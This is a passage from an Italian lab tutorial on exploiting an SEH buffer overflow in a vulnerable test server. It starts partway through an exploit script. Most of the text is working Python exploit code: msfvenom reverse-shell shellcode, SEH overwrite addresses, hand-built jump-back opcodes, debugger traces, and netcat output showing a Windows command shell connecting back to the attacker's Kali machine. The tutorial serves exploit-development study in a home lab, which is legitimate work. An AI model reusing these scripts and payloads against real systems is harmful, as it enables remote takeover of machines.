shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"
payload = VULNSRVR_CMD
payload += b"A" * (OFFSET - 400)
payload += b"\x90" * (400 - len(shellcode))
payload += shellcode
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"\xe9\x6b\xfe\xff\xff" # -400 JMP
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Metto solito breakpoint per analizzare il flusso ed eseguo
Continuo l’esecuzione step by step fino ad arrivare al JMP 8
[Junk_AAAA][NOPNOPNOP..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][\xe9\x6b\xfe\xff\xff][Junk]
Ora viene eseguito il JMP di 8 e saltiamo ai NOP (da 0x06eb9090 a NopNopNop)
[Junk_AAAA][NOPNOPNOP..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][\xe9\x6b\xfe\xff\xff][Junk]
Alla fine dei Nop ci troviamo il jump back di 400 (da \xe9\x6b\xfe\xff\xff a NOPNOPNOP)
[Junk_AAAA][NOPNOPNOP..][Rev_Shell][0x06eb9090][0x625010b4][NopNopNop..][\xe9\x6b\xfe\xff\xff][Junk]
Fino ad arrivare all’ultimo NOP prima della reverse shell
0:003> u
00cdfe6c 90 nop
00cdfe6d bafcc7d1e3 mov edx,0E3D1C7FCh
00cdfe72 dbdc fcmovnu st,st(4)
00cdfe74 d97424f4 fnstenv [esp-0Ch]
00cdfe78 5d pop ebp
00cdfe79 29c9 sub ecx,ecx
00cdfe7b b152 mov cl,52h
00cdfe7d 83edfc sub ebp,0FFFFFFFCh
Proseguiamo ora l’esecuzione con g e ci mettiamo in ascolto dalla kali
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1218
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Un altro metodo invece è quello di fare un jump back all’inizio delle A (quindi del Junk iniziale) giocando con i registri.
La prima cosa da fare è trovare la differenza tra la prima D e la prima A, in modo da avere la certezza di saltare in maniera corretta. Lancio l’exploit e metto il breakpoint su 0x625010b4
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Proseguo poi passo passo fino ad arrivare alla prima D ed estraggo il valore di ESP (a6ec8c)
Cerco poi le A, identificando l’indirizzo preciso
0:001> u 00a6f1ec
00a6f1ec 202f and byte ptr [edi],ch
00a6f1ee 2e ???
00a6f1ef 2e ???
00a6f1f0 2e2f das
00a6f1f2 41 inc ecx
00a6f1f3 41 inc ecx
00a6f1f4 41 inc ecx
00a6f1f5 41 inc ecx
La prima A sta in a6f1f2. Con Hex Calculator faccio la differenza
Quindi il jump da fare è di 1382. Ora giochiamo un po' con i registri.
Calcolo gli opcode sempre con nasm_shell
kali@kali:~$ /usr/bin/msf-nasm_shell
nasm > push esp
00000000 54 push esp
nasm > pop eax
00000000 58 pop eax
nasm > add ax,0x566
00000000 66056605 add ax,0x566
nasm > jmp eax
00000000 FFE0 jmp eax
nasm >
E metto tutto insieme: \x54\x58\x66\x05\x66\x05\xff\xe0
Aggiungo allo script, inserisco breakpoint ed eseguo.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
payload = VULNSRVR_CMD
payload += b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"\x54\x58\x66\x05\x66\x05\xff\xe0 " # PUSH; POP; ADD 566; JMP
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Dopo il breakpoint faccio una serie di step fino ad arrivare gli opcode appena inseriti
0:004> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffde esp=0107ec8c ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0107ffde 54 push esp
0:004> t
eax=00000000 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffdf esp=0107ec88 ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0107ffdf 58 pop eax
0:004>
eax=0107ec8c ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffe0 esp=0107ec8c ebp=0107ed80 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0107ffe0 66056605 add ax,566h
0:004>
eax=0107f1f2 ebx=77ec5af2 ecx=625010b4 edx=77ec5b10 esi=00000000 edi=00000000
eip=0107ffe4 esp=0107ec8c ebp=0107ed80 iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
0107ffe4 ffe0 jmp eax {0107f1f2}
0:004> u 0107f1f2
0107f1f2 41 inc ecx
0107f1f3 41 inc ecx
0107f1f4 41 inc ecx
0107f1f5 41 inc ecx
0107f1f6 41 inc ecx
Ed ecco che siamo all’inizio delle nostre A! Ora non ci rimane che inserire qualche NOP e la solita reverse shell
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
VULNSRVR_CMD = b"GMON /.../" # change me
CRASH_LEN = 5011 # change me
OFFSET = 3546
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00' EXITFUNC=thread
shellcode = b""
shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"
shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"
shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"
shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"
shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"
shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"
shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"
payload = VULNSRVR_CMD
payload += shellcode
payload += b"A" * (OFFSET - len(shellcode))
payload += struct.pack("<I",0x06eb9090) # 8 bytes JMP
payload += struct.pack("<I",0x625010b4) #SEH - POP POP RET
payload += b"\x90" * 10 # NOP SLED
payload += b"\x54\x58\x66\x05\x66\x05\xff\xe0 " # PUSH; POP; ADD 566; JMP
payload += b"D" * (CRASH_LEN - len(payload)) # shellcode
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
E la nostra reverse shell :)
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1255
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user
C:\Windows\system32>
In questo articolo abbiamo approfondito una nuova tecnica che sarà la base dei prossimi esercizi. Di seguito una lista di articoli per approfondire: